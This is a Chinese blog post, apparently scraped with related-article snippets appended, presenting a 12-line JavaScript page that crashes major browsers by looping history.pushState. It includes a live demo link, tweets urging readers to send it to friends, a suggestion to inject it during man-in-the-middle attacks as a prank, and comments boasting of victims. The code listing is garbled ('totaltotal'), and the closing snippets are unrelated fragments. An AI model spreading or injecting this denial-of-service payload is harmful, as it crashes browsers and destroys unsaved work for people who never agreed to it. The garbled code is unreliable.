能够让浏览器崩溃的12行代码

起因

今天刷推特的时候发现Cyber [email protected]__sec的推文让人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit
//使用以下这段JavaScript代码能让firefox,chrome。safari浏览器崩溃,并且还能让iphone重新启动。

继续在推特上深挖发现IT Security Tweets ? @F1r3h4nd 于17日发推:

Crash your friend‘s browser and restart Iphone with a link which has this script: #0day

//把带有以下这个脚本的链接发给你的朋友,能让你朋友的浏览器崩溃。并且让Iphone重新启动。

完整HTML代码例如以下:

  1. <html>
  2. <body>
  3. <script>
  4. var total="";
  5. for (var i=0;i<1000000;i++)
  6. {
  7. totaltotal= total+i.toString();
  8. history.pushState(0,0,total);
  9. }
  10. </script>
  11. </body>
  12. </html>

demo:(温馨提示:请保存浏览器其他窗体的编辑任务)

www.0xroot.cn/demo.html (点击一下,又不会怀孕!)

接来下会发生什么?

点开以后,我的状态是这种:

假设你是PC端用户。点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

假设你是移动端(安卓、iPhone)用户。点开链接以后你的浏览器会闪退!在微博、微信client点开链接相同会闪退。至于在推文中提到的让iPhone重新启动。这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重新启动了!…

思考

这是Bug还是0day?

为什么会有这一现象?怎样实现的?

有哪些比較有意思的利用姿势?

(我先来个:当在运行MITM中间人攻击的时候,能够注入这一段js,来个恶搞整蛊。

然后都懂的…)

欢迎大家在评论中发表自己的观点

微博评论/讨论摘取

怀孕了...
好有趣...
好可怕...
整蛊不错
我已祸害了好多人(卖萌脸(づ ̄ 3 ̄)づ)
崩溃了
火狐假死10秒后弹窗提示脚本无响应可停止难道是history的栈溢出么?
能够能够,新姿势get√
JS是世界上最好的语言!

hist.pushState是干嘛用的?
电脑正在重新启动
不能仅仅让我一个人中招
我为什么会手贱?
Chrome隐身模式没有问题啊
时间: 2024-11-18 01:45:48

能够让浏览器崩溃的12行代码的相关文章

浏览器崩溃

神秘12行代码:分分钟让你电脑崩溃手机重启 最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启.到底是什么代码这么神奇? 上周,国外网友Cyber [email protected]__sec在Twitter上发布了这样一段推文: "使用下面这段javascript代码,能让Firefox.Chrome.Safari浏览器崩溃,还能让iPhone重启". 事实上,更早的时候,IT Security Tweets @F1r3h4nd也发布类

JavaScript12行代码获取相关节点

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <div id="dv"> <span>这是div中的第一个span标签</span> <p>这是div中的第二个元素

15行代码让苹果设备崩溃,iOS 12也无法幸免

国外安全研究人员 Sabri Haddouche 发现了一个只需几行代码就可以让 iPhone 崩溃并重启的方法. Sabri Haddouche 在 GitHub 上发布了一个示例网页,只有 15 行代码,如果在 iPhone 或 iPad 上访问这个页面,就会崩溃并重启.在 macOS 上使用 Safari 打开该页面也会出现浏览器挂起,无法动弹. 这段代码利用了 iOS Web 渲染引擎 WebKit 中的一个漏洞.Haddouche 解释说,在 CSS 过滤器属性中嵌套大量元素(如<di

这几行 javascript 代码能让你的浏览器崩溃?

先上Demo,有兴趣的可以先试一下: http://www.zeakhold.com/crash/ (温馨提示:访问前请保存好浏览器其他窗口的任务,整人被打概不负责嘿嘿~) 事情还是得从 IT Security Tweets ™   的一篇推文说起: 也就是说,这段 javascript 代码,能让浏览器崩溃并且能让iPhone重启?! 于是打开电脑跃跃欲试,当满怀好奇地在浏览器上执行了这段代码后发现: Chrome 立马陷入了卡死的状态,更要命的是点击关闭窗口没响应!! 打开任务管理器,发现C

读第一行代码第12章-1.标题栏

今天学校停电,没意思,特来更新两篇文章,读了第一行代码之后,觉得内容写的非常不错,于是照着书把代码敲了一遍,今天敲的是Toolbar. Toolbar就是标题栏,只不过之前使用的标题栏叫ActionBar,由于ActionBar有很多的局限性,所以改用Toolbar,可以在标题栏中增加许多乐趣. 第一步去掉标题栏: 第二步将v7库中的Toolbar添加到布局中: 这里面Toolbar的高度指定为与原标题栏的高度相同,颜色什么的都在下图中: 接下来在MainActivity中添加下面的两行代码:

读第一行代码第12章-2.滑动菜单

在之前介绍过Toolbar的基础之上,现在介绍滑动菜单DrawerLayout,首先我们来修改布局文件: <?xml version="1.0" encoding="utf-8"?> <android.support.v4.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://sc

【翻】Android Design Support Library 的 代码实验——几行代码,让你的 APP 变得花俏

译者地址:[翻]Android Design Support Library 的 代码实验--几行代码,让你的 APP 变得花俏 原文:Codelab for Android Design Support Library used in I/O Rewind Bangkok session--Make your app fancy with few lines of code 原文项目 demo: Lab-Android-DesignLibrary 双语对照地址: [翻-双语]Android D

Android Design Support Library 的 代码实验——几行代码,让你的 APP 变得花俏

译者地址:[翻]Android Design Support Library 的 代码实验——几行代码,让你的 APP 变得花俏 原文:Codelab for Android Design Support Library used in I/O Rewind Bangkok session----Make your app fancy with few lines of code 原文项目 demo: Lab-Android-DesignLibrary 双语对照地址: [翻-双语]Android

天才黑客!17岁打脸乔布斯,20岁搞疯索尼,26岁叫板特斯拉,写2000行代码市值8000万美金

文/创日报 今天说一个屌到飞起的黑客小哥! 扒他的时候创哥就觉得无比的欢快, 因为他的人生用三个字就能概括: “爽!爽!爽!” 不但颜值出众,智商更是卓绝! 89年出生,却把互联网巨头玩弄于股掌间, 17岁仅靠一把螺丝刀,破解了iPhone核心基带, 让iPhone变成了全网通. ▼ 无数人削尖脑袋都挤不进去的 “Google,SpaceX,Facebook” 人家拍拍屁股混了一圈, 说不干就不干! 因为觉得人生太无聊, 顺手破解了索尼的游戏机, 逼的索尼将他告上法庭, 还引发了世!界!级!黑客